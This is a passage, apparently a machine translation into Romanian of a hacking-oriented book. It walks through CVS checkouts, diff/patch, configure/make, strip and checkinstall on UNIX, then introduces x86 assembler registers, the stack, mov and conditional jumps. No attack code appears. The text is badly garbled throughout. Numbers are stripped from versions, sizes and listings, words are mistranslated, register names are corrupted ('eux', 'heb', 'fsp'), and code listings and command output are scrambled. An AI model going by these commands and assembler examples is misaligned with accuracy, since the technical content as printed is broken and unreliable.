multor programatori să lucreze la același proiect Sistemul nu numai că ține evidența modificărilor, sincronizează fișierele tuturor participanților, dar și diferențiază privilegiile - cine poate scrie unde Externi (utilizatori anonimi care nu participă la proiect) Partea I Prezentare generală a programelor de hacking nu poate decât să citească Mai multe informații despre acest sistem pot fi găsite la: http://ru wikipedia org/wiki/CVS, http://www nongnu org/cvs/ (în engleză) și http://alexm aici ru/cvs-ru/ (în rusă) Pentru a lucra cu arborele CVS, trebuie să instalați clientul CVS (majoritatea distribuțiilor UNIX au deja instalat acest software) conectându-vă ca anonim În general, acest lucru se face astfel: $cvs d:pserver:anonymous@server:patch login Lista arată un exemplu concret de descărcare a unui arbore CVS pentru emulatorul Bochs Lista O sesiune cu serverul CVS pe exemplul emulatorului Bochs $ cvs -d:pserver:anonymous@cvs bochs sourceforge net:/cvsroot/bochs login (Conectarea la anonymous@cvs bochs sourceforge net) Parola CVS: (nu există nicio parolă, doar apăsați Enter) utilizator$ cvs -z ~d:pserver:anonymous@cvs bochs sf net:/cvsroot/bochs checkout bochs server cvs: se actualizează bochs bochs/ bochsrc bochs/ conf AIX bochs/ conf beos-x -R bochs/ conf macos (Acest lucru poate dura câteva minute, în funcție de conexiunea la rețea ) bochs/patches/patch seg- imit-real Dacă conexiunea la server a avut succes, atunci imediat după autorizare începe procedura de sincronizare a fișierelor (în acest caz, verificarea, adică extragerea întregului modul din CVS și crearea unei copii de lucru) Toate fișierele de proiect sunt descărcate deoarece încă nu există nimic de sincronizat Descărcarea tuturor fișierelor de proiect, chiar și pe liniile dedicate, durează destul de mult Fișierele sunt transferate în formă necomprimată (mai precis, foarte slab comprimate), iar CV-ul este acceptat doar parțial Suportul parțial pentru reluare înseamnă că fișierele care au fost descărcate în întregime nu sunt retransmise dacă conexiunea este deconectată în mod neașteptat Cu toate acestea, descărcarea fișierelor care nu sunt transferate complet începe de la capăt Cu întreruperi frecvente în conexiune, acest lucru creează un inconvenient serios, agravat de faptul că arborele CVS conține multe fișiere redundante care nu intră în „distribuția împachetată” Cu toate acestea, veți fi forțat să le descărcați Deci, ce rost mai are să te încurci cu CVS atunci? Nu este mai ușor (mai rapid, mai ieftin) să folosești o arhivă gata făcută? Nu există un singur răspuns la întrebare și nu va fi niciodată Pentru început, unele programe sunt distribuite doar prin CVS Arhiva, dacă este postată, de multe ori nu conține toate fișierele sau nu este actualizată luni de zile Pe de altă parte, atunci când este lansată o nouă versiune, întreaga arhivă trebuie descărcată de la început până la sfârșit, în timp ce clientul CVS preia doar fișierele modificate cu adevărat, ceea ce economisește semnificativ lățimea de bandă Pe scurt, cu actualizări frecvente, este benefic să folosiți CVS, în caz contrar, este mai bine să descărcați o arhivă gata făcută alegând arhivatorul preferat dintre arhivatoarele propuse Apropo, chiar dacă nu avem permisiuni de scriere, clientul CVS urmărește în continuare modificările fișierelor locale, iar dacă modificăm ceva în program, fișierele modificate nu vor fi actualizate Dacă doriți să descărcați o versiune stabilă (nu cea actuală!), ar trebui să utilizați comutatorul -r, iar apoi linia de comandă va arăta astfel: $cvs update -d -r tagname, unde tagname este numele de cod al proiect (de exemplu, rel o final), al cărui găsit pe site-ul dezvoltatorilor sau cules din documentație Capitolul Setul de instrumente pentru hacking pentru UNIX și Linux Notă Multe servere (inclusiv http://www sourceforge net) vă permit să vizualizați arborele CVS prin interfața WEB, dar acest lucru nu are prea mult sens Veți avea nevoie de un browser offline precum Teleport Pro (http://www listsoft ru/programs/ /) pentru a descărca fișierele sursă, așa că o abordare mult mai bună este să folosiți un client CVS Cea mai recentă versiune a clientului CVS în sine poate fi descărcată de pe serverul ftp http://ftp gnu org/ non-gnu/cvs/ (http://www tortoisecvs org/, http://www wincvs org/— versiuni pentru Windows), iar dacă aveți întrebări, există o listă imensă de întrebări frecvente la dispoziția dumneavoastră: http://www cs utah edu/dept/old/texinfo/cvs/FAQ txt, Aceasta încheie discuția despre CVS Acum să aruncăm o privire la arhive De regulă, nu sunt doar o mulțime, ci o mulțime! De exemplu, pagina de distribuții, de pe care puteți descărca arhivele sursă ale browserului Lynx (http://lynx isc org/current/index html), în diverse versiuni, are aproximativ cincizeci de fișiere în trei formate: pkzip , gzip și bzip, având o varietate de dimensiuni (Listing ) Pe care să-l iau? Cel mai risipitor este pkzip, urmat de gzip cu o marjă mică (reprezentând în esență același arhivator, dar într-o „încarnare”) diferită, iar bzip conduce cu un decalaj de , - ori Adevărat, nu toate distribuțiile UNIX îl au instalat implicit și apoi trebuie să îl descărcați singur: http://www bzip org/, deoarece este gratuit Lista Textele sursă împachetate de diferiți arhivatori au diferite Oct : [ ]Iynx dev tar Z oct : [ ]lynx dev tar bz Oct : [ ]lynx dev tar gz oct : [ ]lynx dev zip După descărcarea arhivei, întrebați dacă îi este atașat un patch cu cele mai recente remedieri? Versiunea de patch trebuie neapărat să se potrivească cu versiunea de arhivă, altfel programul se va bloca în etapa de compilare Totuși, aceasta nu este o regulă, ci mai degrabă o recomandare Totul depinde de ce este patch-ul și de ce anume rezolvă Cu toate acestea, este mai bine să nu riști dacă nu trebuie Există diferite tipuri de plasturi De exemplu, în cazul lui Lynx, aceasta este o arhivă obișnuită de fișiere modificate pe care trebuie doar să le despachetați (cu suprascriere) în directorul principal al programului Prin dimensiunea sa, această arhivă este foarte aproape de kitul de distribuție Majoritatea programatorilor creează patch-uri folosind utilitarul diff (pentru a obține mai multe informații despre acesta, lansați comanda man diff), care și-a primit numele de la abrevierea engleză diferență - diferență Acest utilitar compară fișierele linie cu linie, afișând doar modificări reale Semnul minus (-) în față înseamnă că linia dată a fost eliminată, iar semnul plus (+) indică faptul că linia dată a fost adăugată Numele fișierului este precedat de un semn triplu minus (-) sau plus (+++) Fișierele de modificare au de obicei o extensie diff sau patch, dar chiar și fără o extensie, ele sunt ușor de identificat vizual (Listarea - ) De regulă, toate modificările aduse distribuției sunt colectate într-un singur fișier diff Lista Așa arată patch-ul creat de utilitarul diff diff -pruN BlEW- /BIEWlib/sysdep/ia /os /tuner c BIEW- /BIEWlib/sysdep/ia /os /tmer c - BIEW- /BIEWlib/sysdep/ia /os /timer c - : : - +++ BIEW- /BIEWlib/sysdep/ia /os /timer c - - : : + @@ - , + , @@ static HTIMER timerID = ; static TID timerThread = ; Partea I Prezentare generală a programelor de hacking static timer callback *user callback = NULL; -static VOID NORETURN thread callback( ULONG threadMsg ) +static VOID NORETURN Syscall thread callback( ULONG threadMsg ) { ULONG recv; NEUTILIZAT(threadMsg); Puteți aplica un patch diff, în principiu, manual Unii fac Alții folosesc utilitarul de corecție (pentru mai multe informații, tastați man patch), care automatizează în întregime acest proces În general, apelarea arată ca Listing Lista Aplicarea unui patch cu utilitarul de patch $patch -pl înseamnă că apelăm patch din directorul principal al programului De ce este nevoie de asta? Să deschidem fișierul diff în orice editor și să vedem cum sunt setate căile către fișiere în el, de exemplu, pentru editorul BIEW acest lucru se face astfel: BiEW- /BiEwlib/sysdep/ia /os /timer c Da, calea începe cu numele directorului în care programul ar trebui să fie despachetat (în acest caz, numele este biew- ) Dar îl putem redenumi? La urma urmei, mulți hackeri preferă nume de fișiere scurte în stil „bw” Comutatorul -pi face ca utilitarul de corecție să ignore prenumele din stânga în lanț, iar apoi calea începe cu /BiEWlib, în timp ce, desigur, directorul biew- (după cum sa menționat deja, poate fi redenumit) trebuie fii actual Dacă aplicăm un patch din afara directorului biew- , trebuie să specificăm comutatorul -p Absența comutatorului -p face ca căile să fie complet ignorate și toate fișierele sunt căutate în directorul curent, unde, desigur, nu vor fi găsite! Notă Instalarea unui patch este o operațiune reversibilă și, dacă se dorește, patch-ul poate fi eliminat folosind comutatorul -R, care readuce toate liniile modificate la locul lor De asemenea, acordați atenție comutatorului -b, care creează copii de rezervă ale fișierelor modificate Uneori, mai multe patch-uri sunt atașate unei singure versiuni deodată, ceea ce poate deruta serios chiar și utilizatorii experimentați Citiți cu atenție descrierea: în ce ordine trebuie instalate! Dacă nu există o descriere, uitați-vă la modificări și rezolvați singur comanda de suprapunere sau abandonați complet instalarea În cazuri exotice, un patch este un script care face toate modificările pe cont propriu Mulți dezvoltatori atașează la arhive semnături digitale, cum ar fi PGP sau sume de verificare de referință Teoretic, acest lucru previne posibila denaturare a informațiilor sau falsificarea acesteia Arhivatorii moderni controlează singuri integritatea datelor și nicio semnătură digitală nu vă va scuti de hacking deliberat! Deci decideți singur dacă le folosiți sau nu și trecem la principalul lucru - compilare Să începem asamblarea Există o concepție greșită comună în rândul utilizatorilor Linux că, dacă un program nu este construit în modul „standard” (de exemplu, așa cum se arată în Lista ), atunci nu este un program corect și nu va funcționa corect De fapt, există mult mai mulți utilizatori greșiți în lume decât programe greșite! Capitolul Instrumente de hacking pentru UNIX și Linux ІSting , Ordine de compilare standard pentru majoritatea programelor $ /configure $facă $inake instal Să începem cu faptul că, spre deosebire de lumea Windows, unde programul este instalat/construit rulând programele setup exe și respectiv nmake exe, în UNIX începe procesul de construire prin citirea documentației! Asigurați-vă că citiți documentația! Chiar dacă construcția cu setările implicite merge fără probleme, configurația rezultată este puțin probabil să fie optimă De obicei, la textele sursă este atașat un fișier numit install, readme etc Dacă arhiva nu conține așa ceva (ca, de exemplu, în cazul lui Bochs), atunci căutați instrucțiuni pentru construirea pe site-ul web al proiectului În cazuri severe, instrucțiunea poate fi în interiorul fișierelor de configurare și makefile Fișierul de configurare este un script destul de complex (Figura - ) care analizează configurația curentă, recunoaște platforma, determină dacă toate bibliotecile necesare sunt prezente și controlează opțiunile de construire (în special, specifică ce caracteristici trebuie activate și care ar trebui să fie activate) fi dezactivat) Ca urmare a activității sale, este generat un fișier numit makefile, care asambla (compilează, apoi leagă) programul Unii configuratori au o interfață avansată și funcționează interactiv, dar aceasta nu este regula, ci mai degrabă o excepție plăcută Mult mai des, opțiunile de construire sunt setate prin comutatoarele din linia de comandă sau chiar prin editarea fișierului de configurare în sine Orez configuratorul la serviciu Partea I Prezentare generală a programelor de hacking Cea mai importantă opțiune de compilare este platforma În sistemele UNIX, în cele mai multe cazuri este recunoscut automat și nu există probleme cu aceasta, dar atunci când construiți sub MacOS, BeOS, QNX, Win , puteți întâmpina dificultăți serioase În ciuda faptului că dezvoltatorii se străduiesc să asigure portabilitatea maximă, în practică totul se întâmplă Utilizatorii Windows suferă cel mai mult, deoarece această platformă nu acceptă scripturi shell, iar configuratorul nu funcționează acolo Chiar dacă dezvoltatorul a oferit posibilitatea de a compila sub Win , trebuie să gestionați manual opțiunile de proiect prin editarea fișierului make și pentru aceasta trebuie totuși să vă dați seama care linie este responsabilă pentru ce Situația este salvată parțial de pachetul cygwin (dacă, desigur, este instalat), dar problemele rămân încă Restul opțiunilor nu mai sunt atât de decisive, dar nici nu le puteți clasifica ca secundare Construirea cu setările implicite asigură că programul se va construi corect și poate chiar funcționează Cu toate acestea, suportul pentru modurile de care aveți nevoie în acest ansamblu poate să nu fie În special, Bochs-ul deja menționat este asamblat implicit fără emulare SoundBlaster, fără suport pentru o placă de rețea, seturi de instrucțiuni SSE/MMX, arhitectură x - , fără un depanator integrat și fără optimizarea vitezei de execuție a codului virtual Puteți, desigur, să activați fără minte toate opțiunile, dar aceasta este departe de a fi cea mai bună idee În primul rând, multe opțiuni sunt în conflict între ele și, în al doilea rând, componentele suplimentare nu numai că măresc dimensiunea fișierului compilat, dar și adesea încetinesc viteza programului Prin urmare, atunci când alcătuiești „meniul”, trebuie să fii foarte atent și prudent În special, puteți forța Bochs să accepte arhitectura x - împreună cu depanatorul integrat, așa cum se arată în Lista Lista Setarea opțiunilor de construcție Bochs folosind linia de comandă $ /configure -~enable-x - enable-debugger Dar dacă nu există nicio mențiune despre opțiunile de asamblare în documentație (sau există, dar incomplete)? Apoi ar trebui să deschideți fișierul de configurare în orice editor de text și să vedeți opțiunile disponibile Dacă aveți noroc, acestea vor fi adnotate (Listing ) Alternativ, puteți încerca să lansați comanda $ /configure help - dacă aveți noroc, va afișa cel puțin câteva informații de ajutor Lista Fragment de fișier de configurare cu opțiuni de compilare - activare-procesoare enable-x - enable-cpu-level enable-apic enable-cornpressed-hd enable-ne enable-pci enable-pcidev enable-usb enable-pnic selectați asistentul de procesoare ( , , , ) corrpile in suport pentru x - mstructii selectați nivelul CPU ( , , , ) activați suportul APIC permite imaginea de disc zlib corectată (nu a fost încă completată) activați suportul lumted ne activați suportul lumted FX PCI activați suportul mappmg pentru dispozitivul gazdă PCI (numai gazda Linux) activați suportul USB lumted activați suportul PCI pseudo NIC Cygwin este un set de instrumente software distribuite gratuit dezvoltate de Cygnus Solutions (în noiembrie , Cygnus Solutions și-a anunțat fuziunea cu Red Hat și a încetat să mai existe la începutul anului ) Pachetul Cygwin vă permite să transformați Windows cu diferite versiuni într-un fel de sistem UNIX Poate fi descărcat gratuit de pe Internet (http://www cygwin com/) Capitolul Instrumente de hacking pentru UNIX și Linux Orez Configurarea programului prin editarea fișierului de preluare Unele programe (cum ar fi editorul hex BIEW) nu au deloc un fișier de configurare Aceasta înseamnă că trebuie să configurați manual programul prin editarea makefile-ului (Fig ) Dar nu vă faceți griji, în practică această sarcină va fi mult mai ușoară decât ar părea la prima vedere Structura makefile-ului este destul de simplă De fapt, acest fișier este o secvență de comenzi și variabile (Listarea - ) Acestea sunt variabilele pe care le vom gestiona! Lista de valori posibile este de obicei inclusă chiar acolo, în comentarii ^Listing si comentarii # Selectați platforma țintă Valorile valide sunt: # Pentru Intel pe biți: І І (încă nu este acceptat de gcc) # Pentru Intel pe de biți # de bază: І І # gcc- x : I I p p kb k athlon # pgcc : i mmx i mmx pZotpx p mmx k kbіlgah k mmx x x mmx #athlon mmx # Altă platformă: generică # - - TARGET PLATFORM=i # Vă rugăm să selectați sistemul de operare țintă Valorile valide sunt: # dos, os , win , linux, unix, beos, qnx , qnx # - - ȚINTĂ S=unix Partea I Prezentare generală a programelor de hacking # Vă rugăm să adăugați aici orice steaguri specifice gazdei # (cum ar fi -fcall-used-R -fcall-saved-R -mrtd -mregparrn= -mreg alloc= etc ; ): # - # Note: Puteți, de asemenea, să definiți flag -D EXPERIMENTAL VERSION, dacă doriți # construiți o versiune experimentală cu tehnologia fastcall # ************************************************ ** **************************** # De asemenea, puteți defini: # -DHAVE MMX este foarte comun pentru toate procesoarele de la Pentium-MMX și compatibil # -DHAVE MMX există pe K + și P + # -DHAVE SSE există doar pe P + # -DHAVE SSE există doar pe P + # -DHAVE DN W există numai pe AMD K - + # DHAVE DNOWEX există numai pe AMD K + # -D DISABLE ASM dezactivează tot codul de asamblare mlme # Încercați dacă aveți probleme cu corpirea din cauza erorilor de asamblare # Rețineți că nu este același lucru cu specificarea TARGET PLATFORM=generic # - HOST CFLAGS= Este necesar să ne pregătim din timp pentru faptul că unele dintre variabile vor fi legate de mediul (mediul) de lucru al autorului Această legare va avea ca rezultat fișierul care conține căi absolute către directoarele țintă, fișierele incluse, bibliotecile etc , sau aceste variabile vor fi neinițializate În acest caz, va trebui să le setați singur Unele fișiere make sunt controlate prin variabile de mediu, care din nou trebuie setate înainte de compilare (Listarea - ) Lista , Fragment al unui makefile controlat de mediu =$(PDCURSES SRCDIR) Și, în sfârșit, vine momentul solemn când toate opțiunile sunt setate și poți începe asamblarea Cu respirația tăiată, scriem $make și va începe procesul de construire Compilarea durează mult și destul de des este întreruptă de un mesaj de eroare Ce sa fac? Principalul lucru este să nu intri în panică, ci să citești și să analizezi cu atenție mesajul afișat Cel mai adesea, cauza erorii este că programului îi lipsește o bibliotecă sau un fișier antet De fapt, acest lucru ar trebui să fie pentru a dezvălui configuratorul (dacă există unul), dar descărcarea componentelor lipsă prin Internet nu este o problemă Trebuie doar să știi ce să descarci! Din păcate, makefile-ul nu raportează întotdeauna numele „oficial” al bibliotecii Dar nici asta nu este o problemă! Căutați pe Internet numele fișierului și aflați cărui pachet îi aparține și de unde îl puteți descărca De asemenea, este o idee bună să consultați forumul de asistență tehnică (probabil că nu sunteți singurul care a întâmpinat această eroare și, dacă da, această problemă ar trebui discutată pe diferite forumuri) Dacă acest lucru nu ajută, citiți din nou documentația, acordând atenție bibliotecilor și componentelor sistemului care trebuie instalate În cele din urmă, încercați diferite combinații de opțiuni de construcție (ca opțiune, dezactivați tot ceea ce poate fi dezactivat) Situația se înrăutățește dacă dai de greșelile dezvoltatorilor înșiși La urma urmei, makefile-urile sunt scrise și de oameni și departe de a fi testate pe toate platformele Dacă da, încercați să contactați dezvoltatorii sau să construiți programul pe o altă platformă (cu un compilator diferit) În mod implicit, programele sunt de obicei construite cu informații de depanare, ceea ce simplifică foarte mult depanarea lor, dar în același timp le mărește dimensiunea Dacă depanați programele altora Capitolul Setul de instrumente pentru hacking pentru UNIX și Linux nu este inclus în planurile dvs , atunci este mai bine să eliminați informațiile de depanare Acest lucru se poate face fie în etapa de configurare prin lansarea comenzii $ /configure disable-debug, fie prin eliminarea manuală a informațiilor de depanare din fișierul ELF prin rularea acestuia prin utilitarul strip care este inclus cu majoritatea distribuțiilor UNIX Dar înainte de asta, rulați programul de fișiere și vedeți ce se întâmplă Un exemplu care ilustrează situația Bochs este prezentat în Lista I Listarea X Emulatorul Bochs, construit cu setări implicite, conține informații de depanare cutii $file bochs: executabil LSB ELF pe de biți, Intel , versiunea (SYSV), pentru GNU/Linux , legat dinamic (folosește biblioteci partajate), nedemontat Deoarece informațiile de depanare sunt prezente (nu sunt eliminate), Bochs ocupă MB (lista - ) Lista Cu informații de depanare, bochs ocupă până la MB $ls - bochs total -rw-r—r— toiag rădăcină - - : -rw-r—r toiag rădăcină - - : -rwxr-xr-x rădăcină personal - - : bochs -rwxr-xr-x personal rădăcină : bxcommit -rwxr-xr-x rădăcină personal - - : bximage -rwxr xr-x root staff - - : elinks -rwxr-xr-x personal root - - : js Deci, să rulăm utilitarul strip și să eliminăm informațiile de depanare (lista - ) : Lista Utilitarul strip elimină informațiile de depanare dintr-un fișier $strip bochs După eliminarea informațiilor de depanare, dimensiunea fișierului este redusă de nouă (!) ori și fără nicio pierdere a funcționalității (Listarea - ) ' Lista Dimensiunea fișierului Bochs scade după eliminarea informațiilor de depanare cutii $file bochs: executabil LSB ELF pe de biți, Intel , versiunea (SYSV), pentru GNU/Lmux , legat dinamic (folosește biblioteci partajate), dezactivat $ls - bochs total -rw-r r -rw-r r - -rw-r r rwxr-xr-x toiag rădăcină toiag rădăcină toiag rădăcină toiag rădăcină -rwxr-xr-x rădăcină -rwxr-xr-x rădăcină rwxr-xr-x rădăcină -rwxr xr-x rădăcină personal personal personal personal - : - : - : - : bochs - : bxcommit - : bximage - : elinks - : js Partea I Prezentare generală a programelor de hacking instalare Programul compilat, de regulă, nu este încă pregătit să funcționeze Mai avem mult de lucru: eliminați fișierele intermediare create în timpul procesului de compilare (biblioteci, fișiere obiect), ajustați fișierele de configurare, plasați fișierele de date în directoarele lor și, dacă este necesar, modificați setările sistemului Comanda $make install este responsabilă pentru acest lucru, dar este departe de a fi implementată în toate programele; luăm, de exemplu, cel puțin același BIEW (lista ) Lista , fragmentul Makefile de la BIEW arată că instalarea automată nu este implementată instalare: @echo Ne pare rău Această operație ar trebui efectuată manual pentru moment @Ieșire Pe de altă parte, instalarea automată este o ruletă Știm cu toții în ce poate transforma setup exe sistemul Deci, înainte de a lansa comanda $make install, este o idee bună să te uiți în fișierul make (secțiunea de instalare:) și să vezi ce va face Dintr-o dată asta nu ți se potrivește? Dacă nu aveți noroc cu instalarea automată, încercați să lansați comanda $make uninstall pentru a elimina programul din sistem - ce se întâmplă dacă aveți noroc? Cu toate acestea, în marea majoritate a cazurilor nu este implementat În plus, există un utilitar util CheckInstalI (http://chcckinstall izto org/) Acesta este un utilitar gratuit care urmărește instalarea $make pe o mașină virtuală și generează automat o „distribuție” cu drepturi depline de orice tip: Slackware, RPM sau Debian, instalată pe sistem de către managerul de instalare corespunzător, care poate întotdeauna să facă corect dezinstalați, chiar dacă nu a fost furnizat de programele de autor Doar în loc de $make install, ar trebui să lansați comanda $sudo checkinstall și să așteptați puțin Hackerii adevărați preferă să instaleze programul manual, folosind ca exemplu un ansamblu binar gata făcut Acesta este cel mai fiabil mod, dar necesită timp și pricepere De altfel, majoritatea instalatorilor plasează programele în directorul /usr/IOcal/bin/, ceea ce nu este pe placul tuturor Configuratorii corecti acceptă comutatorul -prefix, care vă permite să instalați programe oriunde (de exemplu, $ /configure prefix=/usr), cele incorecte ne obligă să facem acest lucru manual Concluzie Iată, se pare, ce proces non-trivial este un asamblare manuală! Compilarea manuală este o ușă către o lume cu posibilități aproape nelimitate, dar numai cei care nu se tem de dificultăți, sunt gata să greșească, știu să lucreze cu documentația și să avanseze chiar și pe ploaie torențială pot intra în ea capitolul Asambleri Programarea la nivel scăzut este o conversație cu un computer în limbajul său natural, bucuria de a comunica cu fierul „gol”, acrobația unui zbor al gândirii libere și un spațiu nelimitat pentru auto-exprimare Contrar credinței populare, asamblatorul este mult mai simplu decât majoritatea limbajelor de nivel înalt Este mult mai ușor decât C++ și poate fi stăpânit în doar câteva luni Tot ceea ce este necesar pentru aceasta este să luați pornirea corectă și să vă mișcați cu încredere în direcția corectă, și să nu vă învârtiți în întuneric la întâmplare Un hacker care nu cunoaște un asamblator este ca un vâsletor fără vâslă Nu vei ajunge departe în limbi de nivel înalt Pentru a pirata o aplicație al cărei cod sursă nu este disponibil (și în marea majoritate a cazurilor acesta este cazul), este necesar să-i analizăm algoritmul, dizolvat în sălbăticia codului mașină Există mulți traducători de cod mașină în limbaj de asamblare (se numesc dezasamblatori), dar este imposibil să restaurați automat codul sursă din codul mașinii! Căutarea caracteristicilor nedocumentate în măruntaiele sistemului de operare este, de asemenea, efectuată în assembler Găsirea de marcaje, neutralizarea virușilor, adaptarea aplicațiilor la propriile nevoi, aplicațiile de inginerie inversă pentru a împrumuta ideile implementate în ele, desecretizarea algoritmilor secreti Listarea poate fi continuată pe termen nelimitat Domeniul de aplicare al asamblatorului este atât de larg încât este mai ușor să enumerați zonele cu care nu are nimic de-a face Assembler este o armă puternică care oferă putere nelimitată asupra sistemului Aceasta nu este nicidecum o teorie abstrusă, ci un adevărat hardcore Cod de auto-modificare, tehnologii de polimorfism, contracarare depanatoare și dezasamblatoare, exploit-uri, viermi modificați genetic, spionarea evenimentelor de sistem, interceptarea parolelor Assembler este al șaptelea simț și a doua vedere Când o fereastră binecunoscută apare pe ecran cu un strigăt despre o eroare critică, programatorii de aplicații doar înjură și ridică din umeri (aceasta este karma programului) Toate aceste mesaje și depozite pentru ei sunt litere chinezești Dar nu pentru asamblatori! Acești tipi merg calm la adresa specificată și corectează eroarea, adesea fără să piardă măcar datele nesalvate! Filosofia asamblatorului Limbajul de asamblare este un limbaj de nivel scăzut care operează cu concepte și concepte de mașină Nu căutați o comandă în ea pentru a tipări șirul „Bună, lume!” Ea nu este aici Iată o scurtă listă de acțiuni pe care procesorul le poate efectua: adunarea / scăderea / împărțirea / înmulțirea / compararea a două numere și, în funcție de rezultat, transferați controlul la una sau alta ramură, trimiteți un număr de la o adresă la alta, scrieți un număr într-un port sau citiți-l de acolo Managementul periferic se realizează tocmai prin porturi sau printr-o zonă specială Partea I Prezentare generală a programelor de hacking memorie (de exemplu, memorie video) Pentru a afișa un simbol pe terminal, trebuie să consultați documentația tehnică pentru placa video, iar pentru a citi sectorul de pe disc, consultați documentația pentru unitate Din fericire, această parte a lucrării este îngrijită de drivere și, de obicei, nu este necesar să o faceți manual (în plus, în sistemele de operare normale, de exemplu, cum ar fi familia Windows NT, porturile nu sunt disponibile din stratul de aplicație ) Un alt concept de mașină este registrul Este imposibil să explic ce este fără a păcătui împotriva adevărului Un registru este ceva care arată ca un registru, dar nu este cu adevărat În mașinile antice, registrul făcea parte din unitatea de procesare a datelor Procesorul nu poate adăuga două numere în RAM Mai întâi trebuie să le ia în mâini (registre) Aceasta este la nivel micro Deasupra nivelului micro este un interpret de cod de mașină, care este esențial pentru orice procesor modern (da, codurile de mașină sunt interpretate!) Minicalculatorul DEC PDP- nu mai solicita programatorului să preîncarce datele în registre, pretinzând că le ia direct din memorie De fapt, datele erau încărcate în secret în registrele interne, iar după efectuarea operațiilor aritmetice, rezultatul era scris în memorie sau la registru „logic”, care este o celulă de memorie ultra-rapidă În calculatoarele x , registrele sunt și ele virtuale, dar spre deosebire de PDP și-au păstrat parțial specializarea Unele comenzi (cum ar fi mul) operează pe un set strict definit de registre care nu pot fi modificate Aceasta este o taxă pentru compatibilitatea cu versiunile mai vechi O altă limitare enervantă este că x nu acceptă adresarea de la memorie la memorie, iar unul dintre numerele procesate trebuie să fie într-un registru sau să fie o valoare imediată De fapt, jumătate dintr-un program de asamblare constă din instrucțiuni de transfer de date Toate aceste activități au loc într-o arenă numită spațiu de adrese Un spațiu de adrese este pur și simplu o colecție de celule de memorie virtuală disponibile procesorului Sistemele de operare precum Windows l și majoritatea clonelor UNIX creează o regiune independentă de GB pentru fiecare aplicație, în care pot fi distinse cel puțin trei regiuni: regiunea de cod, regiunea de date și stiva O stivă este o modalitate de stocare a datelor, care este o încrucișare între o listă și o matrice (a se citi „Arta programarii” de D Knuth ) Comanda push împinge o nouă bucată de date în partea de sus a stivei, în timp ce comanda pop elimină datele din partea de sus a stivei Acest lucru vă permite să stocați date în memorie fără să vă faceți griji cu privire la adresele lor absolute Foarte confortabil! Acesta este modul în care funcționează apelurile de funcție Instrucțiunea caii func împinge adresa instrucțiunii care o urmează în stivă, iar instrucțiunea ret o scoate din stivă Pointerul către vârful curent este stocat în registrul fsp, iar partea de jos formal, stiva este limitată doar de lungimea spațiului de adrese și deci de cantitatea de memorie alocată acestuia Direcția de creștere a stivei în arhitectura x : de la adrese mai înalte la cele inferioare Ei mai spun că stiva crește „de sus în jos” Registrul eip conține un pointer către următoarea instrucțiune care trebuie executată și nu este disponibil pentru modificare directă Registrele eax, eux, esx, edx, est, edi, heb sunt numite registre de uz general și pot participa liber la orice operațiuni matematice sau de acces la memorie Sunt doar șapte Șapte registre pe de biți Primele patru dintre ele (eax, eux, esx și edx) permit accesul la jumătățile lor de biți, care stochează cuvântul de ordin scăzut ax, bx, cx și dx Fiecare dintre aceste cuvinte, la rândul său, este împărțit în octeți înalți și mici - ah / al, bh / bl, ch / cl și dh / dl Este important să înțelegeți că al, ax și eax nu sunt trei registre diferite, ci părți diferite ale aceluiași registru! În plus, există și alte registre - registre de segmente, multimedia, registre de coprocesor matematic, registre de depanare Fără o carte bună de referință, este ușor să te încurci și să te îneci în ele, dar la început nu ne vom atinge de ele Donald E Knuth „Arta programării”, G - - „Williams”, Capitolul Asambleri Explicația asamblatorului cu exemple C Instrucțiunea de asamblare de bază este instrucțiunea de transfer de date mov, care poate fi asemănată cu un operator de atribuire, c = xzzz în limbajul de asamblare este scris astfel: mov eax, h (observați diferența în notația numerelor hexazecimale!) De asemenea, puteți scrie mov eax, ebx (scrieți valoarea registrului eux în registrul eax) Indicatorii sunt încadrați între paranteze drepte Astfel, constructul limbajului C a = *b în asamblator este scris astfel: mov eax, [ebx] Variabilele sunt declarate cu directivele db (variabilă cu un singur octet), dw (variabilă cu un cuvânt), dd (variabilă cu două cuvinte) și așa mai departe Semnificația variabilelor nu este specificată atunci când sunt declarate Aceeași variabilă în diferite părți ale programului poate fi interpretată atât ca număr cu semn, cât și ca număr nesemnat Pentru a încărca o variabilă într-un pointer, se utilizează fie comanda iea, fie comanda mov cu directiva of fset Arătăm acest lucru în exemplul următor (Listarea ) D Lista Metode de bază de transfer de date LEA EDX,b MOV EBX,a MOV ECX, offset ; Registrul EDX conține un pointer către variabila b ; Registrul EBX contine valoarea variabilei a a ; Registrul ECX conține un pointer către variabila a MOV[EDX],EVX; Copiați variabila a în variabila b MOV b, EBX; Copiați variabila a în variabila b MOV b, a ; !'!Eroare'' nu poți face asta ; Ambele argumente ale comenzii MOV nu pot fi în memorie a DD h; Declaram o variabila a de tip doubleword si bDD? ; O inițializam cu numărul h ; Declaram o variabila neinitializata b de tip ; cuvânt dublu Acum să trecem la salturile condiționate Nu există nicio declarație if în asamblare, iar această operație trebuie făcută în două etape Comanda p vă permite să comparați două numere, stocând rezultatul muncii dvs în steaguri Steagurile sunt fragmente dintr-un registru special care ar ocupa prea mult spațiu pentru a fi descrise și, prin urmare, nu sunt luate în considerare aici Este suficient să ne amintim trei stări de bază: mai puțin (sub sau mai puțin), mai mult (de sus sau mare) și egal (egal) Familia ux de instrucțiuni de salt condiționat verifică condiția x și, dacă este adevărată, sari la adresa specificată De exemplu, je sare dacă numerele sunt egale (Sari dacă este egal) și jne sare dacă numerele nu sunt egale (Sări dacă nu sunt egale) Comenzile jb/ja funcționează cu numere nesemnate, acjl/jg cu numere semnate Orice două condiții care nu se contrazic pot fi combinate una cu cealaltă De exemplu, comanda jbe sare dacă un număr nesemnat este mai mic sau egal cu altul Un salt necondiționat este efectuat de comanda jmp Construcția cmp/jx seamănă mai mult cu construcția if xxx goto din Basic decât este în C Listarea arată câteva exemple de utilizare a acestuia : Lista Tipuri de bază de sărituri condiționate SMR EAX, EVH jz xxx CMP [ECX], EDX JAE uuu ; Comparați EAX și EBX ; Dacă sunt egale, săriți la xxx ; Comparați *ECX și EDX ; Dacă nesemnat *ESX >= EDX, atunci mergeți la yyy Partea I Prezentare generală a programelor de hacking Apelarea funcțiilor în assembler este mult mai complicată decât în C În primul rând, există cel puțin două tipuri de convenții de apelare - C Pascal În convenția C, argumentele sunt transmise unei funcții de la dreapta la stânga și sunt șterse din stivă de codul care apelează funcția În convenția Pascal, totul se întâmplă invers! Argumentele sunt transmise de la stânga la dreapta și sunt șterse din stivă de funcția însăși Majoritatea funcțiilor Windows AP urmează convenția stdcall combinată, în care argumentele sunt împinse conform convenției C și ies din stivă conform convenției Pascal Valoarea returnată a funcției va fi plasată în registrul EAX, iar perechea de registru edX:EAX este utilizată pentru a transfera valori pe 